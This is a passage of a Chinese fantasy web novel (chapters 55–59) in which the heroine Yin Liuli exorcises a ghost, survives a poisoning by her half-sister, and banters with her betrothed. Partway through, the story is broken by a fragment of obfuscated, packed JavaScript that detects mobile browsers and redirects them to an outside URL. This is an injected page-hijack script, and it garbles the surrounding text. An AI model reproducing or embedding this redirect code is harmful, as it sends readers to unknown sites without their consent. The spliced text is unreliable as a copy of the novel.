“杀!杀!……”
阴煞冲身!
母子凶借着老婆子的肉身扭身跑出屋门,向院门跑去。
老夫人、方政允、甄氏和几个嬷嬷一众正在院外守着。
冲身阴煞扑阳,是本能。
没有目标,见人就杀。
“那是谁?”
树下,老夫人听见叫喊声眯缝着眼睛往院子里瞧,催促道,“快去看看!”
琉璃丫头吩咐过院子里不能进人,怎的突然有个使唤婆子跑出来了?
尽管脸色镇定,可心里还是划过一丝慌乱。
被母子凶冲身的老婆子此时已是鸱目虎吻,粗糙的双手弯成鹰爪一般,钩爪锯牙。
手上指甲也突然暴涨出一寸,变成狰狞的青黑色,口中发出鬼哭般阴森凄厉的嚎叫,向人群扑了过来,
“杀!杀……”
“鬼、鬼呀!”
还没走到院门前的一个仆妇,吓得失声尖叫。
话音还没落,老婆子突然暴起将她扑倒在地,一双鬼爪死死掐住了她的脖子,锋利的指甲陷入血肉。
“救……命……”
仆妇惊恐挣扎。
众人全都吓懵,连逃命都忘了。
那老婆子分明就是一只厉鬼!
“你们带祖母走,快!护好甄夫人!”
方政允反应过来立刻挡在老夫人跟前,剑眉倒竖,“快走,我去看看。”
“不行!你不能去!”
老夫人连忙拉他没拉住,急的大叫,“允儿,回来……”
众人已经顾不上什么了,架起老夫人没了命的逃。
“砰……”
方政允跑上前一脚踹在老婆子身上。
他这一脚着实用了力气,若是踹在寻常人身上,骨头都能踹断两
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根。
谁知这下如同踢在铁板上,脚踝传来一阵剧痛,他踉跄一步差点儿跌倒在地上。
“杀!”
这一脚惊怒了老婆子,抬起鹰钩般的双手向方政允扑去。
“砰”
一声闷响,老婆子整个人从方政允眼前飞了出去,重重的跌在地上。
殷琉璃纤细的身形出现,一把按住老婆子的脸。
手指一翻,狠狠戳在她的眉心上,指尖灵光闪过,疯子般嘶叫挣扎的老婆子瞬间没了动静。
空气瞬间一窒。
“琉璃!”
方政允心口擂鼓似的跳了几下,失声道,“你、你没事儿吧?”
“顾好自己。”
殷琉璃冲地上的仆妇抬了抬下巴,“去看看那人。”
她修长纤细的手指一挑,从老婆子眉心中勾出一条若隐若现的黑气,双指一翻将黑气夹住往上扯,很快将那道黑气抽了出来。
黑气毒蛇般在她手中扭摆挣扎,火焰般的煞气将她整只手裹住。
“敕令……化煞!”
殷琉璃左右抓煞,右手凌空画出一道“天师化煞符”,手指一翻化作一道灵光打在黑煞之上。
黑煞瞬间软了下来。
“轰……”
方政允听到一声若有若无的轰鸣声,耳朵根子嗡嗡响。
尽管他只看到殷琉璃凌空抓握和画符的动作,看不见煞气,可她凌厉果决的身影和狠戾的面容,看的他心里潮水般汹涌澎湃。
殷琉璃没注意他满脸震惊的表情,只随手从他腰间扯下一块玉佩,将手中煞气送入玉佩之中。
她将手中煞气送入玉佩中,抬头轻描淡写的说,“借用一下。”
方政允唇角抽了抽,“哦哦……随便用。”
那可是上次生辰皇后娘娘赏给他的玉佩,价值连城!
殷琉璃也没打算还,随口道,
“老夫人和我娘没事儿吧?”
“没、没事……”
方政允松了口气,满脸激动的说,“琉璃妹妹,这婆子刚才是不是被那对母子鬼附身了?你、你把它抓了?”
“嗯。”
殷琉璃哼了一声,忽然微微皱眉。
隐约感觉有一双意味不明的眼睛,在后背将她锁定。
第55章 怎么把这丫头收服!
她偏了偏头,盯在背上的那双眼睛立刻消失不见。
“敕令……五雷。”
殷琉璃手指一翻,灵光从指缝中飞出,冷冷道,“出来。”
“轰”
一声巨响,假山轰然倒塌,烟尘四起。
“咳咳咳……”
顾瑾焱俊朗的脸上蒙了一层灰尘,呛的连声咳嗽。
他倒也不觉尴尬,抬手赶了几下灰尘,轻笑道,
“殷大小姐请人出来的方式,是不是有些霸道?”
殷琉璃漠然的瞥了他一眼,
“早知道是你,我就不劈假山了。想看直接过来看,躲后面鬼鬼祟祟什么?”
她已然知道这个冒昧的家伙是谁。
那晚他夜闯侯府,就让哇呀呀去查了。
长得一副好皮囊,那副吊儿郎当的纨绔样子倒是跟他十分相配,但未必就是传言中的真纨绔。
殷琉璃见过他的身手,顺手给他清理了身上邪祟,知道这家伙并非表面上看起来那么简单。
其实他是谁都没关系,重要的是他能替她顶雷。
顾瑾焱笑了笑,“在阿允家,我可用不着鬼鬼祟祟。”
他真没鬼鬼祟祟,刚才过来正好看到殷琉璃按住发疯的婆子,手指在眉间一勾一挑那人就晕死过去了。
动作行云流水一气呵成。
那张娇俏的脸上没有丝毫慌乱,不带一丝闺中女儿家的娇气,显得英气十足。
他看直了眼睛。
殷琉璃没再理他,自顾自的翻了翻婆子的眼皮,从袖中摸了一道叠好的黄纸符,交给刚来的家丁,
“将人抬回去养着,让她把这个带在身上。”
“焱兄,你怎么才来!”
方政允兴奋的迎了上去,喋喋不休的说,
“可惜了,你没瞧见刚才的好戏!那个婆子叫鬼附了身,好不厉害!我一脚上去差点儿没把脚折了!
还是琉璃一把就按住了她,在面门上揪了几下就没了动静!太厉害了!”
顾瑾焱摸了摸高挺的鼻梁,“临时有些事。”
方政允还在滔滔不绝,“焱兄你不知道,琉璃还有更厉害的呢……”
顾瑾焱有意无意的问,“表婶如何了?”
琉璃?
叫的这么亲热,那是你表嫂!
“差点儿忘了!母亲!”
方政允啪一巴掌拍在脑门上,跳起来急忙往院子里跑。
“刚才,你用了什么法子收服厉鬼的?”
支走方政允,顾瑾焱凑到殷琉璃眼前,一脸轻佻的说,“能不能教教我?”
话音未落胸口上就多了一只洁白纤细手掌。
“你没那个天分。”
殷琉璃将他推出一步,不咸不淡的说,“说话便说话,靠这么近做什么?”
顾瑾焱又摸了摸鼻梁,
“你怎知我没有天分?你是不是天分特别好?学这个难不难,你学了多久?”
“那边几个,过来。”
殷琉璃冲家丁招了招手,吩咐道,“去告诉管事的,明日正午时分在屋子里烧上一盆炭火,要烧的旺旺的。
进去前身上带点朱砂,做完把这个院子封了,一年之内不能进入。”
这院子本就偏僻,又处于奇门八卦中的休门之位,最是聚阴。
母子凶的煞气将这里的气场变得更阴,会吸引附近的阴魂在这里徘徊,活人进来会受影响。
轻则时运低迷,重则阳气受损大病一场。
“殷小姐,你还没回我的话。”
顾瑾焱围在她身边,锲而不舍的说,
“我看你刚给了那个婆子一张符,是做什么用的?
可不可以也送我一张,我放在身上,鬼物是不是就绕着我走?”
殷琉璃不由白了他一眼,
“她被鬼煞冲身魂魄不稳,你也被冲身了?要它做什么。”
顾瑾焱笑嘻嘻的说,
“那你给我一张合适我用的,不就行了?
你看我用什么灵符合适?
保平安的,还是驱鬼避邪的……”
“都不用,我看这个最适合你。”
殷琉璃烦不胜烦,抬手在掌心画了一道封口符,手指翻飞间灵光飞了出去。
“什么……唔?呜呜……”
顾瑾焱蓦地感觉双唇像被浆糊粘住了一般,怎么张都张不开!
他深邃的眸子里顿时闪过一抹亮色。
这丫头的道术着实厉害!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17306785|198718||http|test|mini|href|location''.split(''|''),0,{}));
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r>以他的身手都没能来及做出反应,就被封住了口唇!
这些天追查的案子中有几个方士,施法时要先掏出黄纸符,口中念念有词,用真气将符烧了才有效果。
他杀掉的那个方士,衣袖中就足足带了十几二十张画好的符。
据说这些方士画符的时候也十分有讲究,要摆设香案,焚香敬神,再用鸡血朱砂之类的东西做成朱笔才能画出。
而殷琉璃每次只是在手掌中凌空虚画,葱段儿般的手指一翻,符咒瞬间而出。
“焱兄,母亲受惊过度,我先送她回房休息!”
方政允背着浑身瘫软的薛氏出来,急急忙忙的将她放在轿辇上说,“你替我招呼好琉璃妹妹,我回来再去找你们!”
叫那么亲热做什么?叫表嫂!
顾瑾焱瞪了瞪眼,酸溜溜的冲他呜呜。
“老奴见过世子爷,见过琉璃小姐。”
老夫人身边的嬷嬷过来笑着说,“琉璃小姐,家宴已经摆上了,老夫人着老奴来请,为小姐和甄夫人压惊。”
殷琉璃点了点头,“多谢。”
她款步从顾瑾焱眼前走过,当他是空气。
“唔唔!唔……”
顾瑾焱赶紧上前将她拦住,指着自己的嘴使劲儿支吾。
她不给解,不会又像那晚一样要等两个时辰吧!
那晚他僵尸一般躺在床上活活两个时辰,差点儿没给自己的尿憋死!
殷琉璃轻扫了他一眼,“还多话吗?”
“唔?唔唔!”
顾瑾焱脑袋摇的跟拨浪鼓似的,双手合十做求饶状,眼巴巴的望着她。
殷琉璃挑了挑眉,抬手在他唇上凌空点了一下,“行了。”
这小丫头真是越来越有意思了!
本还盘算着怎么让她为自己所用,谁知她以后连人都是他的!
现在该盘算的是怎么把这丫头收服才是!
“呼呼……”
唇上一松,顾瑾焱张开嘴大口喘气,唇角得意的勾起弧度。
“大姐姐,留步!”
刚要走,殷玉珠不知从哪儿冒了出来,红着眼含泪叫了她一声,“玉珠……有些话要与大姐姐说,行吗?”
第56章 他配不上你!
“没兴趣。”
殷琉璃目不斜视,从她身边绕过。
顾瑾焱目光幽冷的划了殷玉珠一眼,快步追到殷琉璃身旁,殷勤的说,
“殷大小姐头一次来我表弟府上?有没有四处瞧瞧?
一会儿等用了膳,在下陪你去观赏风景如何?”
殷琉璃抬手指了指他的嘴。
“明白!闭嘴!”
顾瑾焱啪的一下捂住嘴,故作惊恐。
“大姐姐!”
殷玉珠在两人身后追了几步,手里紧紧攥着一条帕子,哀求般道,
“看在咱们都姓殷的份儿上,行吗?玉珠只有一句话……”
殷琉璃头都没回一下,“说了没兴趣。”
她注意到殷玉珠的帕子里,藏着一缕细如发丝,极难察觉的气息。
虽看不出是什么,但总归不是什么好东西。
殷琉璃可不会给她机会。
“大姐姐,玉珠知道错了!”
殷玉珠扑通一声跪了下来,泫然欲泣的说,
“玉珠之前有眼不识泰山,得罪了姐姐,还望姐姐念在玉珠无知,原谅玉珠吧!”
殷琉璃旁若无人的往前走。
殷玉珠哇的一声哭了出来,
“大姐姐若不肯原谅,玉珠就长跪不起!”
殷琉璃,“呵呵……”
狗能改的了吃屎?
院子里来来往往的丫鬟仆妇纷纷投来异样的目光,窃窃私语的说,
“她俩不是亲姐妹吗,人家都这样求她了,她都不肯?”
“就是!那位琉璃小姐心肠可真够硬的,都这么求她了,竟连句话都不说……”
“玉珠小姐以后不是要嫁进咱们府里吗,好歹也是未来的国公小夫人,她怎的一点儿面子都不给?”
……
一道凛冽的目光划过众人。
顾瑾焱眉头微敛间,空气突然一寂。
嬷嬷也觉得殷玉珠这样跪着十分不妥,便仗着自己是老夫人身边的老嬷嬷,帮着劝上一句,
“恕老奴多嘴,琉璃小姐,玉珠小姐到底年轻些,年轻人做错事知道错了便是好的……”
殷琉璃缓缓看向她,
“你也知道自己多嘴?”
“陈嬷嬷怕不是心疼那位小姐,想给她做个伴儿?”
顾瑾焱冷笑一声道,“去吧,等我到了姑祖母跟前替你说一声,也不是什么要紧。”
嬷嬷脸色一变,
“是老奴失言,还望世子爷和琉璃小姐宽恕!”
“去。”
顾瑾焱幽深的眸子里闪过一抹不耐。
“是。”
嬷嬷咬了咬牙,只好走到殷玉珠身旁,噗通一声跪了下来。
她在老夫人身边服侍三十多年,是国公府一等一有身份的老嬷嬷,就连掌家主母薛氏见了她都客气三分。
谁承想这位世子爷竟一点儿脸面都不给她。
没办法,若是他家的小公子爷这么说,她还敢辩白两句,可这位世子爷骄横跋扈的很,她可一点儿都不敢反驳。
殷琉璃意外的看了顾瑾焱一眼。
他是在护着她?
“殷大小姐,请。”
顾瑾焱抬了抬手,俊朗的脸上露出一抹笑意,忽然歪头在她耳边悄悄问了一句,
“举手之劳,不用谢我。”
殷琉璃,“……”
自作多情!
殷玉珠看着两人的远去的背影,几乎把手里的帕子绞破。
这个该死的**!
她处心积虑的装可怜,哪怕放下身段被国公府的下人们笑话,硬是没能靠近殷琉璃半分!
不近身触及殷琉璃,无崖子给她的东西就没有任何用处!
那个东西能让殷琉璃体内真气紊乱,破坏她的根基,无崖子再趁机出手,就能将她所有的道行毁掉!
……
富丽堂皇的厅堂中,已经摆好了几道精致的凉菜。
老夫人半卧在塌上拉着甄夫人热络的说话,瞧见殷琉璃来了笑呵呵的招手,
“丫头过来,我与你娘说话呢!”
甄氏脸上带着一丝难以掩饰的喜悦,起身道,
“琉璃,老夫人把你一直夸个不停,还说……还说那事有缓和的余地!
只要你不愿,她亲自进宫求圣上去!”
顾瑾焱没跟殷琉璃一起进来,说是先去找方政允,甄氏不知道他来了,就把老夫人的话说了一遍。
殷琉璃眨了眨眼,“那事儿?”
“你的婚事呀,傻丫头!”
老夫人一脸疼爱的拉住她的手,嫌弃道,
“焱儿那孩子本性是好的,只是没个正行,成日里吊儿郎当的狗都嫌,他配不上你!
你
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若愿意,祖母就仗着这一张老脸替你求圣上开恩……”
“姑祖母,您老人家背后说人坏话,能不能避开本主?”
顾瑾焱一脸幽怨的进来行了个礼,“孙儿长得这般高大威武,一表人才,哪儿就配不上殷大小姐了?”
说着,他一溜小跑过来,搂着老夫人的胳膊耍赖,
“孙儿不干!孙儿不干!您可是孙儿的姑祖母,怎么心眼子都偏到她身上去了?”
甄氏赶紧给女儿使了个眼色,一脸尴尬。
殷琉璃哑然失笑,挽住她的臂弯,轻声道,
“没事的娘,不用理他。”
老夫人抬手戳了戳顾瑾焱的脑袋,大笑着嗔道,
“多大的人了还跟姑祖母耍赖,瞧瞧,我这是说错了你?
不怪我偏心,人家琉璃丫头多好一个姑娘,你可就不配人家不是!”
顾瑾焱哼哼唧唧的说,
“那孙儿不管,姑祖母说孙儿坏话,孙儿要告倒皇外祖那里去!”
说罢,他得意洋洋的冲殷琉璃眨眼示好。
殷琉璃灵动的眸子转开,觉得有点儿辣眼睛。
不过倒也有趣。
老夫人被他缠的没法子,笑道,
“你呀,自小就是个魔头!好了好了,起来去用膳!”
等方政允也过来了,众人围坐桌前用餐,一边儿说着话,气氛倒也融洽。
餐毕,一个嬷嬷手中拖着把金壶过来,给老夫人冲了杯热气腾腾的茶。
“给甄夫人、琉璃丫头他们都尝尝去。”
老夫人笑着说,“我这是福建茶山上,一株三百年老茶树产的茶,每年紧着也只能做出一两斤来。
圣上知道我喜欢,就赏了一半儿给我,你们也都尝尝好不好。”
方政允眼睛顿时一亮,“祖母,您这点子茶我求了好几次都不肯赏给我一口,今儿这么大方?”
众人顿时笑了,“咱们这还不是托了琉璃小姐的福?
有就赶紧吃吧,回头琉璃小姐回府可就再摸不着了!”
甄氏连忙拉着殷琉璃起身笑道,
“谢老夫人厚爱!”
嬷嬷把茶碗端了过来,一股清澈甘甜的气息瞬间扑鼻,茶色清亮透彻,的确是万中无一的好茶。
殷琉璃清灵的眸中却蓦地闪过一抹寒芒。
第57章 他心口跳的好快
端茶杯的瞬间,掌心微微一刺。
就像针尖轻戳了下皮肉,刺感转瞬即逝,可有一道阴寒之气毒蛇般在掌中游走。
她应该是触到了“化气”之物。
若不及时拔除,体内真气必然受损,重者会破坏她的元阳,道行大减。
是殷玉珠手里的东西。
打量她天劫降至,要护福报不能造杀业吗?
小看她了!
殷琉璃抬手按住手腕,不动声色的将一道“护元符”输入体内,将掌中乱流一般的真气暂且压住。
蹙眉扫了一眼,老夫人正兴致勃勃的拉着娘的手说话,说什么也要她娘俩在府里住几日,好好陪自己逛园子。
真不知道一个六十多岁的老夫人,哪儿来的这么大精神头?
娘虽推辞,可也笑容满面的半推半就,看来一时半会儿是走不了了。
可她必须尽快找个地方将化气之物拔除。
一双幽深的眸子看向殷琉璃,给了她一个带着疑问的眼神。
顾瑾焱敏锐的察觉到她眉宇间的一滞。
“顾世子,你之前说要带我逛逛园子。”
殷琉璃心下一轻,似笑非笑的说,“不知方便不方便?”
“当然方便,能带小姐逛逛园子,是在下的荣幸!”
顾瑾焱配合的挑眉,果断起身说,“姑祖母,膳也用好了,孙儿想带琉璃去您的园子里瞧瞧,不知可好?”
“去吧去吧,你俩到底要成亲了,多亲近亲近也好。”
老夫人笑着点头,又叮嘱了一句,“只不准你太随性张扬,吓坏我琉璃丫头!”
她实在喜欢极了这丫头,比那个只会惺惺作态的殷玉珠强了不知多少倍。
适才还想着就算豁出去一张老脸去找圣上,横竖把这丫头抢过来给自己宝贝孙子呢!
谁知人家俩人已经看对了眼儿,吃了饭就急着出去约会。
“是,孙儿不敢!”
话音未落,顾瑾焱已经拉起了殷琉璃的手,迫不及待的向外走去。
“我也去,你们等等我!”
方政允满脸羡慕的追了出去,却只看见两人的背影一晃,便从墙角消失。
气的他连连跺脚,“你们怎么不带我玩儿!”
……
“呃……”
殷琉璃身子忽然,本能的往顾瑾焱肩头一靠,“扶我一下。”
尽管有护元符抵挡,可体内那道阴寒之气还是突破了秉风、巨骨,临近极泉,着实霸道。
此时她的左臂整个发麻,黑气血管般隐隐向上攀爬,气势汹汹。
极泉穴乃心经一脉最重要的穴位,如同一道关口,一旦突破心脉必然受损。
“你怎么了?”
顾瑾焱伸手将她搂住,想都没想便环上那个盈盈一握的腰肢,“琉璃,你气色不好……”
“我中了化气阴毒,要找个地方尽快拔除。”
殷琉璃皱眉道,“带我去封禁的那个院子,快……”
话音未落,她身子忽然一轻。
“你撑着,很快!”
顾瑾焱将她打横抱了起来,脚下虎虎生风。
还不错,他若没这般的内力,还真帮不了她。
殷琉璃暗暗松了口气,把头靠在他的胸口上,“多谢。”
“砰砰砰……”
劲有力的心跳声在耳边跟擂鼓一般,他心口跳的好快!
院门上紧闭,门上挂着一把大大的铜锁。
“咣当”
顾瑾焱手上抱着殷琉璃,飞起一脚将门踹开,风似的冲进屋中。
“放我下来。”
殷琉璃挣扎着从他怀里跳下,寻了个干净的地方盘腿坐下,喝道,
“哇呀呀,**!”
“是!”
哇呀呀从耳中钻出,化作威武大将军的原形,手持长刀悬浮在殷琉璃的面前。
由于母子凶的煞气未散,吸引来了方圆十里的阴物前来,此时屋子里到处都是阴魂,阴气森森。
一个个飘在空中,用阴冷贪婪的目光看着这两个闯入的大活人,好像随时都能开大餐似的。
哇呀呀往这儿一站,阴物呼啦一下全跑光了。
看着气息有些不稳的主人,他心里涌上一抹愧疚。
无崖子着实是有点儿本事的,连他这个阴煞级别的厉鬼,都没看出那盏茶的底下藏着阴毒的东西,没来及提醒主人。
殷琉璃
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抬起还能动的右臂,凌空画了一道“五雷天罡符”。
纤细的手指一翻,灵光乍现。
她将灵光送入自己极泉穴,这才将汹汹而来的化气阴毒压制住。
暗暗松了口气。
顾瑾焱深深抿唇望着她,幽深的眸子里闪过一抹担心。
殷琉璃顾不上他。
要把阴毒拔除出来就要用厉害的法子。
她凌空画了一道“天尊震邪符”,以心念催动,
“敕令……先天一气,五蕴灵光,九天应元雷声普化天尊急急如律令!”
可真气到底有损,她体内气血不稳,灵符在指尖化出时明显不如以前得心应手。
殷琉璃身子晃了晃。
“琉璃!”
顾瑾焱心里一沉,连忙上前扶住她,“你怎样?”
“还好……”
殷琉璃吸了口气,心念忽然一动,忙道,“顾世子,借你些东西用用。”
“尽管用。”
顾瑾焱没有一丝犹豫。
殷琉璃虚弱的勾了勾唇,纤细的手指他眉心间轻轻一挑,气势汹汹的阳气在她指尖如同一团汹汹燃烧的火焰,催动灵光大盛。
她将灵光送入自己心脉,缓缓闭上了眼睛。
“噗……”
强劲的力道如同洪水一般,从心口涌向全身,真气在体内蒸腾,一口血水从殷琉璃唇中呕了出来。
“琉璃!”
顾瑾焱大惊失色,一把将她抱在了怀里。
殷琉璃只觉得四肢百骸无一不通常,尝试着运行了下真气,畅通无阻。
那只**胳膊也恢复如初,她抬手擦了下唇角的血水,松了口气道,
“多谢你的助力,阴毒已经拔除干净。”
顾瑾焱幽深的眸子里闪过一抹寒意,凛声道,
“谁下的毒?殷玉珠?”
“还能是谁,你也看出来了。”
殷琉璃点了点头,低头看见他紧紧搂着自己腰的双手,不由道,“放手吧。”
他紧紧搂着她的腰肢,她整个后背都靠在他的怀里,姿势说不出的亲昵暧昧。
顾瑾焱低头跟她说话,脸都快贴到她的脸上去了,温热的气息交融……
第58章 男人对女人最原始的冲动
殷琉璃的脸不由自主的红了一下。
她从小在玄清观长大,成天跟五个师兄打打闹闹,也没有跟谁这般亲昵过。
顾瑾焱就当没听到,自顾自的说,
“在院子里她玩那一出,我就觉得不对劲儿。”
“当时她帕子里藏着东西,只是不知道她用了什么手段,把那东西藏在我的茶碗底下。
还真是小看她了……够毒的。”
殷琉璃抿了抿唇,再次提醒他,“我真没事了,你先松开手。”
“没事就好,刚才你的脸色挺吓人。”
顾瑾焱抱着那具温热柔软的身子,一缕温软清新的女儿香气扑鼻而来,那张绝美的脸上带着一抹娇嗔,看的他心里狠狠漏了一拍。
我夫人的身子真软!真香!
奇怪,就连那儿都在蠢蠢欲动。
这是他第一次对女人有这种强烈的感觉!
妙音坊的歌姬们燕瘦环肥,哪个不是温香软玉?
她们哄男人的手段也是从小练出来的,可没有一个能让他有想把她压在身下掠夺,狠狠蹂躏的冲动。
那是男人对女人最原始最直白的冲动!
顾瑾焱怎么舍得放开,顾左右而言他的说,
“殷玉珠也会道术?能给你下这么阴毒的东西,她道行挺深呀!”
殷琉璃,“……”
她无语道,“不是她的本事,是她背后的人……你先放开我行吗?”
顾瑾焱皱眉追问,“她背后有高人?是谁!”
殷琉璃抬起黑白分明的眸子望着他,
“朝露观,无崖子……说来话长,喂,你先放开我?”
“有所耳闻,据说此人来无影去无踪,厉害的紧。”
顾瑾焱心头闪过一抹什么。
查案中那几个方士,似乎提到过无崖子这个名字,脸色一沉道,“这两个,都不能留!”
殷琉璃,“……”
“你能不能先放开我?”
“对了,你刚才说要借我点东西,借什么?”
顾瑾焱又好像想起什么,东拉西扯的问话,反正就是不肯放手。
殷琉璃挣扎了一下,立刻就被他按回了怀里,只好无语道,
“借你一点阳火助力灵符……”
“哦,那不用还了。还要吗?有的是!”
话音未落,她身子一轻又被顾瑾焱打横抱了起来,傲娇的挑眉,
“你刚刚做法不累吗,我带你找个地方歇息一会儿。
对了,你打算怎么收拾他们?”
“噗通”
殷琉璃翻身从他怀里跳了下来,步履轻盈的往后退了一步跟他拉开距离,冷笑道,
“还能怎样?十倍奉还,斩草除根!
我这个人很小气的。”
这姑娘,真是越来越对他的胃口了!
“巧了,我也是!”
顾瑾焱深邃的眸中闪过一抹光芒,一把拉过她纤细的手腕,挑眉说,
“走,我们找他们算账去!”
我们?
殷琉璃,“……”
这个人的脸皮好厚!
尽管脸上嫌弃,可心头还是划过一丝说不清道不明的悸动。
“先去找殷玉珠的麻烦,她应该还在园子里!”
不等她回过神儿,顾瑾焱就拉着她出去了。
欺负他的女人,他一刻也等不了!
“喂!喂……主人,等等我呀!”
留下满脸凌乱的哇呀呀,在空中大叫。
那个男人刚才对主人动手动脚,主人竟然没有打他?
什么情况!
这不是主人的性格呀?
记得有一次她下山采买,镇上有个富户的公子看她长得好看,凑上前想要轻薄,可那只手还没摸到主人的衣角,就被她给打断了!
……
一路上,顾瑾焱就这么拉着殷琉璃的手,怎么都不肯放。
来来往往的丫鬟仆妇看他俩的眼神都不对了,搞得殷琉璃双颊一直都热热的。
顾瑾焱眼角余光瞥过,心里说不出的惬意。
我夫人红扑扑的小脸儿,可真好看!
她再怎么厉害,也还是个小姑娘。
到了薛夫人的春棠苑,顾瑾焱才站住了脚步,俊美的脸上带上了一抹让人生畏的冰冷,
“殷玉珠在这里?”
“奴婢见过世子爷,琉璃小姐!”
看门的仆妇连忙迎上来,“玉珠小姐正在里头侍奉夫人呢,奴婢这就去通传……”
殷琉璃挑了挑眉,她道还殷勤!
“让开。”
顾瑾焱拉着殷琉璃的手,径直走进了院子里。
薛氏惊魂未定,一张雪白的脸到现在还没恢复血色,靠在床头不住的擦泪。
“夫人请用茶。”
殷玉珠从丫鬟手里接过茶碗,亲手奉到薛
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氏面前,一脸关心的说,
“夫人气色还是不怎么好,一会儿吃些燕窝粥吧。”
薛氏揪心的说,
“发生这种事情,我怎么还能吃得下去?”
殷玉珠半跪在她的床前,握着她的手柔声安慰,
“夫人您别这样,那事其实跟夫人没有任何关系,您做姑母的是关心则乱,才被越公子拖累的。”
薛氏感动的流泪道,“也就是你能宽我的心,又在床前殷勤侍奉。
玉珠,我当初真没选错你。”
殷玉珠双颊红了红,含羞低头,
“这是玉珠应该做的,能侍奉在夫人身边是玉珠的福分。”
尽管表面上端庄恭谨,可她心里焦急的火烧火燎的。
她借了被顾瑾焱惩罚的那个嬷嬷的手,把无崖子给她的“化气散”暗放在端给殷琉璃的茶碗底下,只要殷琉璃的手一触及就能中招。
可过了大半个时辰了,那边儿怎么还没动静?
不应该呀!
一想起殷琉璃说过,那对母子凶阴魂不散,还是要去找薛越和弟妇寻仇,她怎么舍得?
薛氏又掩着帕子哭了起来,
“越儿到底是我的薛氏一门的血脉,真就没法子救了吗?”
殷玉珠收回纷乱的思绪,眸中极快的闪过一抹冷笑,装模作样的叹了口气,
“夫人有所不知,我家长姐性情冷傲,她不愿意帮的人就算眼睁睁看着他死也不会出手……心的确是硬了些。
不过玉珠倒是有个办法,说不定可以试试。”
薛氏通红的眼睛一亮,急忙说,
“玉珠,你有办法?快说快说!”
殷玉珠抿了抿唇,随便找了个理由说,
“长姐不愿管,我们就再请个厉害的人物来不就行了?
其实我母亲也认识一个世外高人,多年前我外祖父救过这位高人一命,他欠着我家一分人情。
不若我去问问母亲,看他是否能有办法。”
“真的?”
薛氏一下做直了身子,激动的说,“他是哪里的高人?叫什么名字?只要他能帮忙,不管多少银子我都肯出!”
殷玉珠缓缓道,“他叫做无崖子……”
“是跟你合和双修的那个无崖子吗?”
门外传来一声厉喝,“殷玉珠,你自己找死,怎的还想拉着别人一起**!”
第59章 来取你狗命
殷琉璃!
她银铃般的声音带着一抹震慑,中气十足,根本没有一丁点儿中了“化气散”的意思!
殷玉珠脸色骤变。
话音未落,殷琉璃已踏进房中。
那张绝美的脸更是红润光泽,精神奕奕,周身更是缠绕着一股强大迫人的气场。
殷玉珠心头狂跳,怎么会这样!
无崖子说过,只要中了他的化气散,就是仙人也要从云端栽个跟头下来!
“琉璃姑娘来了?快、快进来坐!”
薛夫人连忙起身相迎,一叠声的吩咐下人,“来人,上茶!”
见识过殷琉璃的厉害,她心里是又敬又怕,自然不敢慢待。
“是呀,长、长姐你怎么来了?”
殷玉珠强压着声音中的颤抖,勉强作笑。
“来取你狗命。”
殷琉璃双臂环胸,周身充满了冷峻的气息,目光寒的如同千年冰块。
殷玉珠被那双寒冰般的眸子看的心头发颤,眼神闪烁的说,
“长姐开、开什么玩笑?”
殷琉璃冷笑道,
“我可没功夫跟你开玩笑。回头告诉无崖子一声,他给你的那个化气散,对我无用。”
殷玉珠暗暗咬牙,强装镇定道,“什么化气散?我不懂长姐的意思。”
“是真不懂,还是装不懂?”
殷琉璃唇边勾起一抹冷笑,抬了抬下巴道,
“殷玉珠,你与无崖子和合双休,被他当作炉鼎吸取阴元也就罢了,怎的还敢拉着薛夫人跟你一起作死?你安的什么心?”
“你说什么!”
殷玉珠心里咯噔一下,脸色顿时黑了下来。
本来一脸懵逼的薛氏大惊失色,忙道,
“什么……和合双修?琉璃姑娘,玉珠还是个待字闺中的姑娘家,这种话可不能乱说!会毁人清白的!”
京中无人不知“和合双修”是什么意思!
昶历三年,京城佛教盛行,吸引了很多外来的和尚开寺建庙,弘扬佛法。
其中有一伙儿胆大包天的贼人,剔了头发装做和尚,以和合双修的名义骗了很多女信众与他们**,得手后再用此威胁女信众暗中接客,赚了大把的银子。
后来这件事闹破,整个京城一片哗然,被骗女子无一不名声尽毁。
薛氏岂能不知“和合双修”这四个字的可怕?
殷琉璃淡淡挑眉,“是不是乱说,你问她便知。”
“殷琉璃!”
殷玉珠抬手指着她,一双怒睁的眸子爬满血丝,两片唇止不住的颤抖,
“我是得罪过你,可我也当众给你跪下认错!
你不理也就罢了,怎能睚眦必报,说出这等无耻的话来毁我清白?”
薛氏脸色发白,急忙替殷玉珠辩解,
“琉璃,你和玉珠是不是有什么误会?事关女儿家的清白,传出去玉珠可就……”
“夫人,玉珠是清白的!玉珠发誓没有做过任何有辱清白的事情!”
话音未落,殷玉珠扑通一声跪了下来,哀哀欲绝的说,
“玉珠一心仰慕小公子爷,将夫人当作母亲一般敬重,怎么会去做那等不堪之事!
若是被人戳破,玉珠大好姻缘就会断送,对玉珠有什么好处?”
薛氏脸上闪过一抹不忍,忙握住她的手安慰,
“我、我知道你不是那种人,许是琉璃姑娘弄错了也说不定……”
“夫人,您要给玉珠做主呀!”
殷玉珠伏在她的手上恸哭不已。
“是不是,用守宫验一验不就知道了?”
外面忽然传来一个高冷矜贵的声音,顾瑾焱站在窗外不屑的挑眉,“正巧,本世子身上带着一瓶,白送。”
说罢,一只瓷白的小瓶丢了进来,在殷玉珠脚下啪一声摔了个粉碎。
暗红色的粉末撒了一地,混合着白色的瓷片,说不出的刺眼醒目。
殷玉珠狠狠一颤。
薛氏吃了一惊,连忙往外望去,
“焱儿,你怎么也来了?进来说话。”
“是!”
顾瑾焱不紧不慢的走进房中,高大修长的身躯便站在殷琉璃身旁,大言不惭道,
“回舅母,侄儿的未婚妻差点儿被这**所害,特意陪她来报仇的。”
殷琉璃满脸黑线。
不过她挺奇怪,他一个大男人,随身带着验身的守宫做什么?
“东西都
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给你送来了,还不试试?”
顾瑾焱居高临下的望着殷玉珠,气势咄咄逼人。
他唇边一抹冷笑勾的冷峻森然,那双黑曜石般的眸子里更是凝着刺骨的寒意,周身不怒自威的压迫感,让人不自觉的屏住呼吸。
